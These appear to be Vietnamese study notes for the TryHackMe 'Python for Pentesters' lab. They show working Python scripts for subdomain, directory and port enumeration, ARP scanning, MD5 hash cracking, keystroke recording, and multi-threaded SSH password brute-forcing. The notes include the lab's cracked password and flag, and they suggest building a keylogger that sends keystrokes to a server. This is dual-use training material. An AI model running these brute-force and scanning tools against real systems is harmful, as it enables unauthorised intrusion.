Introduction

Chúng ta có thể sử dụng Python để tự động hóa các tác vụ khi thực hiện pentest. Các đoạn script có thể được biên dịch thành file executable cho Windows thông qua PyInstaller hoặc py2exe.

Một số thư viện Python hữu ích cho pentester:

  • Requests - thư viện HTTP đơn giản.
  • Scapy - gửi, lắng nghe, phân tích và làm giả các gói tin network.
  • Pwntools - một thư viện dành cho CTF và phát triển exploit.

Subdomain Enumeration

Cách hoạt động: sử dụng một danh sách các subdomain có sẵn và gắn vào trước URL rồi thử mở kết nối HTTP đến các subdomain đó.

Ví dụ:

import requests 
import sys 
 
sub_list = open("subdomains.txt").read() 
subdoms = sub_list.splitlines()
 
for sub in subdoms:
    domain = f"http://{sub}.{sys.argv[1]}" 
    try:
        requests.get(domain)
    except requests.ConnectionError: 
        pass
    else:
        print("Valid domain: ",domain)

Mảng sys.argv chứa các CLI argument.

Ngoài HTTP thì ta cũng có thể dùng giao thức DNS để tìm subdomain. Cụ thể, chúng ta có thể gửi DNS query đến DNS server nhằm tìm ra tất cả các subdomain có thể có của một domain nào đó.

Directory Enumeration

Đoạn script sau sẽ bruteforce directory trên trang web:

import requests 
import sys 
 
sub_list = open("wordlist.txt").read() 
directories = sub_list.splitlines()
 
for dir in directories:
    dir_enum = f"http://{sys.argv[1]}/{dir}.html" 
    r = requests.get(dir_enum)
    if r.status_code==404: 
        pass
    else:
        print("Valid directory:" ,dir_enum)

Có thể thấy, đoạn script trên bỏ qua các endpoint có status code là 404.

Chạy đoạn script trên với IP là 10.10.188.58:

python dir_enum.py 10.10.188.58

Output:

Valid directory: http://10.10.188.58/surfer.html
Valid directory: http://10.10.188.58/private.html
Valid directory: http://10.10.188.58/apollo.html
Valid directory: http://10.10.188.58/index.html

Network Scanner

Có thể dùng Python để xây dựng một ICMP scanner nhằm tìm ra các host trong một network. Tuy nhiên, các gói tin ICMP có thể bị theo dõi hoặc bị chặn bởi hệ thống vì người dùng thường không thực hiện việc ping đến server. Ngoài ra, có một số hệ thống được cấu hình để không phản hồi lại các gói tin ICMP. Vì các lý do này, việc sử dụng ARP để tìm ra các host trong local network sẽ hiệu quả hơn.

Script sau sử dụng thư viện Scapy:

from scapy.all import *
 
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
 
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range) 
 
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
 
for send,receive in ans:
        print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))     
 

Port Scanner

Xét đoạn script quét port như sau:

import socket
 
ip = '10.10.188.58' 
ports = range(1, 65535)
open_ports =[]
 
def probe_port(ip, port, result = 1): 
  try: 
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    sock.settimeout(1) 
    r = sock.connect_ex((ip, port))   
    if r == 0: 
      result = r 
    sock.close() 
  except Exception as e: 
    pass 
  return result
 
 
for port in ports: 
    print(f"probe port {port}")
    response = probe_port(ip, port) 
    if response == 0: 
        print(f"port {port} is opened")
        open_ports.append(port) 
    
if open_ports: 
  print ("Open Ports are: ") 
  print (sorted(open_ports)) 
else: 
  print ("Looks like no ports are open :(")

Giải thích đoạn script trên:

  • Target IP là 10.10.188.58.
  • Khoảng port sẽ quét là 1 đến 65535 (lưu trong biến ports)
  • Hàm probe_port sẽ mở socket đến port. Nếu mở thành công thì return 0, ngược lại return 0.
  • Vòng lặp trên ports sẽ thêm các port đang mở vào mảng open_ports.

File Downloader

Có thể dùng Python để download file tương tự như tool wget.

Đoạn script dùng để download file:

import requests
 
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)

Hash Cracker

Module hashlib trong Python hỗ trợ rất nhiều thuật toán băm mã hóa và có thể hỗ trợ chúng ta crack các giá trị hash.

Ví dụ sau crack MD5 hash:

import hashlib
 
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
 
with open(wordlist_location, 'rb') as file:
    for line in file.readlines():
        hash_ob = hashlib.md5(line.strip())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line.strip().decode())
            exit(0)

Keyloggers

Module keyboard cho phép chúng ta tương tác với bàn phím.

Đoạn script sau sẽ ghi lại và lặp lại các phím (kể cả backspace) đã được nhấn:

import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)

Có thể thử bằng cách gõ vào một file text rồi nhấn enter.

SSH Brute Forcing

Module Paramiko giúp chúng ta xây dựng các SSH client và server.

Đoạn script bên dưới thực hiện bruteforce password của SSH:

import paramiko
import sys
 
if len(sys.argv) < 4:
    print("Usage: python ssh_bruteforce.py <target> <username> <password_file>")
    exit(1)
else:
    target = sys.argv[1]
    username = sys.argv[2]
    password_file = sys.argv[3]
 
def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code
 
 
with open(password_file, "rb") as file:
    for line in file.readlines():
        password = line.strip().decode('utf-8')
        try:
            response = ssh_connect(password)
            if response == 0:
                print("password found: " + password)
                exit(0)
        except Exception as e:
            print(e)
        pass

Phân tích đoạn script trên:

  • Hàm paramiko.SSHClient() giúp tạo ra một SSH client.
  • Hàm ssh.connect() giúp mở kết nối SSH đến SSH server.
  • Nếu có exception paramiko.AuthenticationException thì tức là sai mật khẩu. Khi đó, ta dùng hàm ssh.close() để đóng kết nối SSH.

Đoạn script trên chạy khá chậm, sử dụng đa luồng để tối ưu:

import paramiko, sys, threading, time, os, psutil
 
if len(sys.argv) < 5:
    print("Usage: python ssh_bruteforce.py <target> <username> <password_file> <thread_numbers>")
    exit(1)
else:
    target = sys.argv[1]
    username = sys.argv[2]
    password_file = sys.argv[3]
    thread_numbers = int(sys.argv[4])
 
def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code
 
def check_pass(passwords):
    for i, password in enumerate(passwords):
        password = password.strip().decode("utf-8")
        try:
            res = ssh_connect(password)
            if res == 0:
                print("password found: " + password)
                exit(0) # only exit the current thread
            else:
	            thread_name = threading.current_thread().name
	            progress = f"{i+1}/{len(passwords)}"
	            print(f"[{thread_name} - {progress}] invalid password: {password}")
        except Exception as e:
            print(e)
 
with open(password_file, "rb") as file:
    passwords = file.readlines()
    total_passwords = len(passwords)
    pass_per_thread = int(total_passwords / thread_numbers)
    pass_of_threads = [
        passwords[i : i + pass_per_thread]
        for i in range(0, total_passwords, pass_per_thread)
    ]
 
    for i in range(0, thread_numbers):
        thread = threading.Thread(target=check_pass, args=(pass_of_threads[i],))
        thread.name = f"thread {i+1}"
        thread.start()

Trong đoạn script trên, chúng ta phân hoạch danh sách mật khẩu cho n thread truyền vào.

Nếu số thread quá cao (chẳng hạn lớn hơn 4) thì sẽ xảy ra lỗi khi mở kết nối SSH. Lý do là vì nhiều cấu hình SSH giới hạn số kết nối đồng thời.

Câu lệnh sử dụng:

python3 ssh_bruteforce.py 10.10.8.132 tiffany wordlist.txt 4

Với wordlist.txt là wordlist của room.

Tìm ra password của tiffanytrustno1. Truy cập vào và đọc được flag:

Success

THM-737390028

Extra Challenges

Một số ý tưởng xây dựng script:

  • Dùng DNS để tìm subdomain.
  • Xây dựng keylogger để gửi các phím đã nhấn về server.
  • Lấy banner của các service trên các port mở.
  • Crawl website nhằm tải về thư viện JS.
  • Thử xây dựng file executable của Windows.
  • Dùng đa luồng cho các script chạy bruteforce.
list
from outgoing([[TryHackMe - Python for Pentesters]])
sort file.ctime asc

Resources